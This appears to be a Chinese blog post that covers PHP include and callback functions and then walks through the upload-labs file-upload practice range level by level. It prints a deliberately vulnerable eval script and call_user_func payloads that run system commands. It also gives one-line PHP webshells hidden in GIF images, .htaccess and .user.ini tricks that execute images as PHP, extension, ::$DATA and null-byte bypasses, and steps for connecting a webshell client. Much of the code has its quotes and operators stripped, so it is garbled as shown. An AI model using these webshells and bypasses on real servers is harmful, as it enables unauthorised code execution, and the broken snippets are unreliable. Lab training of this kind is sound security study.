upload靶场与常见php函数

发布时间:2026/7/31 6:46:17
upload靶场与常见php函数 php中常见的函数include_once () 作用基础定义include_once()引入并运行外部 PHP 文件同一个文件只会被引入一次。核心特性once 只引入一次脚本多次写include_once(xxx.php)只有第一次生效后续直接忽略不会重复加载。找不到文件产生警告Warning脚本继续执行和require_once区分require_once文件不存在直接致命错误终止程序。作用域在函数外引入变量全局生效在函数内部引入变量默认局部作用域路径查找规则和include()一致遵循include_path和同类函数对比表格函数文件缺失报错是否允许重复引入include()警告继续运行可以重复引入include_once()警告继续运行仅引入一次require()致命错误停止运行可以重复引入require_once()致命错误停止运行仅引入一次回调函数什么是回调函数简单定义回调函数就是把一个函数作为参数传给另一个函数在适当的时候被回调执行。核心思想将做什么函数逻辑和何时做触发时机分离。常用内置回调函数函数作用示例array_map()对数组每个元素应用回调array_map(strtoupper, [a,b])array_filter()过滤数组元素array_filter([1,2,3], function($v){return $v1;})usort()自定义排序usort($arr, function($a,$b){return $a-$b;})call_user_func()调用回调函数call_user_func(strlen, hello)call_user_func_array()参数以数组形式传递call_user_func_array(strpos, [hello, e])register_shutdown_function()脚本结束时执行register_shutdown_function(myCallback)set_error_handler()自定义错误处理set_error_handler(function($errno,$errstr){...})回调函数在安全中的应用?php // eval_get_vuln.php - 漏洞演示代码 // ⚠ 仅用于本地安全测试不要用于生产环境 ​ if (isset($_GET[code])) { //codecall_user_func(system,whoami); $code $_GET[code]; eval($code); // 危险直接执行用户传入的代码 } ?palyload1: [10.82.221.6/include/test2.php?codecall_user_func($GET[fun],$GET[w]);funsystemwwhoamipalyload2:[10.82.221.6/include/test2.php?codecall_user_func(system,whoami);palyload3:[10.82.221.6/include/test2.php?code$funsystem;$wwhoami;call_user_func($fun,$w);利用call_user_func执行任意函数高危漏洞代码$func $_GET[func]; $param $_GET[param]; call_user_func($func, $param);攻击方式?funcsystemparamwhoami→ 执行system(whoami)?funcphpinfoparam1→ 执行phpinfo()?funcassertparamphpinfo()→ 执行assert(phpinfo())eval执行字符串upload靶场第一关function checkFile() { var file document.getElementsByName(upload_file)[0].value; if (file null || file ) { alert(请选择要上传的文件!); return false; } //定义允许上传的文件类型 var allow_ext .jpg|.png|.gif; //提取上传文件的类型 var ext_name file.substring(file.lastIndexOf(.)); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name |) -1) { var errMsg 该文件不允许上传请上传 allow_ext 类型的文件,当前文件类型为 ext_name; alert(errMsg); return false; } }通过源码可知var allow_ext .jpg|.png|.gif;只允许上传jpgpnggif类型的文件我们可以把文件的后缀名改成.jpg然后通过burpsuite进行抓包把它的后缀名改回php这样就能成功绕过第二关if (($_FILES[upload_file][type] image/jpeg) || ($_FILES[upload_file][type] image/png) || ($_FILES[upload_file][type] image/gif)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH . / . $_FILES[upload_file][name] if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 文件类型不正确请重新上传;第二关比第一关多了一个MIME类型校验$_FILESupload_file检查HTTP 请求头里的 Content-Type此时我们只需用burpsuite抓包并把Content-Type改成image/jpeg就能绕过第三关:deldot()清除文件名末尾的点strrchr(字符串,字符)从最后一个.开始截取后面全部内容用来提取后缀strtolower()转换为小写str_ireplace(::$DATA, , $file_ext) 不区分大小写替换清除 ::$DATtrim($file_ext);清除后缀前后空白字符$is_upload false; $msg null; if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.asp,.aspx,.php,.jsp); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext trim($file_ext); //收尾去空 ​ if(!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 不允许上传.asp,.aspx,.php,.jsp后缀文件; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; } }只禁止少量脚本后缀大量可执行后缀没有拦截.phtml .phps .php3 .php5 .asa .cer .cdx只要 Web 服务器配置支持解析这些后缀即可执行代码。第四关第四关比第三关的黑名单多了$deny_ext array(.php,.php5,.php4,.php3,.php2,php1,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,pHp1,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf);并且也开了大小写转换此时我们就可以用.htaccess在.htaccess文件里写入FilesMatch \.png$ FcgidWrapper D:/phpstudy_pro/Extensions/php/php8.1.11/php-cgi.exe .png /FilesMatch先上传.htaccess再上传png文件它就会把png自动解析成php第五关第五关没有大小写转换函数$file_ext strtolower($file_ext);此时我们就能通过抓包把文件的后缀改成大写或者大小混写的方式绕过同时我们也可以利用.user.ini配置文件这个文件可以像.htaccess一样在每个目录中设置PHP选项。前提条件PHP版本高于5.3。服务器运行在CGI/FastCGI模式下可通过查看phpinfo()确认。操作步骤上传.user.ini创建一个内容如下的文件并上传iniauto_prepend_file test.jpg这行代码的意思是让所有PHP文件在执行前都自动包含includetest.jpg文件。上传图片马创建一个包含一句话木马的test.jpg图片马并上传。原理之后当访问该目录下的任何PHP文件例如readme.php时test.jpg中的PHP代码都会被自动加载并执行第六关由于此关没有$file_ext trim($file_ext);这个函数我们可以通过抓包的方式在文件名后缀加一个空格但此方法只适用于老版本。第七关此关相比第六关缺少了$file_name deldot($file_name);这个函数我我们可以在文件末尾添加一个.形成php.在 Windows下文件名末尾的点会被自动去除最终生成的文件名是shell.php第八关$is_upload false; $msg null; if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 此文件类型不允许上传; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; } } ​与第七关相比缺少了$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA我们可以通过抓包的方式修改文件名后缀在文件后缀添上::$DATA此时目录下的.php文件文件名是时间戳随机数可查看返回路径或根据日期猜测访问即可触发木马。第九关上传.user.ini内容auto_prepend_file shell.jpg再上传包含木马的图片马shell.jpg最后访问该目录下任意一个.php文件第十关$is_upload false; $msg null; if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess); ​ $file_name trim($_FILES[upload_file][name]); $file_name str_ireplace($deny_ext,, $file_name); $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; } }str_ireplace(查找数组,替换内容,目标字符串) 作用不区分大小写把文件名中所有匹配黑名单里的字符串直接替换为空。 ⚠️ 注意它不是匹配后缀它是全局字符串替换只要文件名里包含黑名单文本就删除。方法一准备两个文件.user.ini 文件内容auto_prepend_file shell.jpg图片马shell.jpg内容为GIF89a头部 一句话木马?php eval($_POST[cmd]); ?。上传 .user.ini直接上传该文件因为黑名单中无ini。保存后的文件名是.user.ini注意开头有点是隐藏文件但 Web 目录下可访问。上传 shell.jpg直接上传因为黑名单无jpg。触发木马访问该目录下的任意.php文件例如http://127.0.0.1/upload/upload/index.php如果不存在可以自己上传一个空白的test.php。此时PHP 会先执行auto_prepend_file自动包含shell.jpg木马被执行。用蚁剑/菜刀连接URL 为http://127.0.0.1/upload/index.php密码cmd即可获得 Shell。方法二可以双写文件名来绕过此关shell.pphphp第十一关准备图片马 创建一个包含一句话木马的图片文件如 shell.jpg内容GIF89a ?php eval($_POST[cmd]); ?拦截上传请求 正常上传该文件用 Burp Suite 拦截 POST 请求。修改 save_path 参数 在请求的 URL 中通常在 GET 参数里因为源码使用 $_GET[save_path]将 save_path 的值改为textupload/shell.php%00注意%00需要是 URL 编码后的空字节即%00。如果使用 Burp 的Repeater或直接在浏览器地址栏测试确保%00不被二次编码。第十三关function getReailFileType($filename){ $file fopen($filename, rb); $bin fread($file, 2); //只读2字节 fclose($file); $strInfo unpack(C2chars, $bin); $typeCode intval($strInfo[chars1].$strInfo[chars2]); $fileType ; switch($typeCode){ case 255216: $fileType jpg; break; case 13780: $fileType png; break; case 7173: $fileType gif; break; default: $fileType unknown; } return $fileType; } ​ $is_upload false; $msg null; if(isset($_POST[submit])){ $temp_file $_FILES[upload_file][tmp_name]; $file_type getReailFileType($temp_file); ​ if($file_type unknown){ $msg 文件未知上传失败; }else{ $img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis)...$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload true; } else { $msg 上传出错; } } } ​1.制作一个图片码制作方法以 GIF89a 为例GIF89a ?php eval($_POST[cmd]); ?或使用工具如copy /b shell.jpgshell.php shell.jpg合并。2.上传该图片码上传后文件被保存为随机数.jpg内容包含木马但后缀是.jpg默认不会执行 PHP 代码如果靶机存在其他页面如include.php包含用户可控的文件路径则可以通过访问该页面包含图片马使其中的 PHP 代码被执行。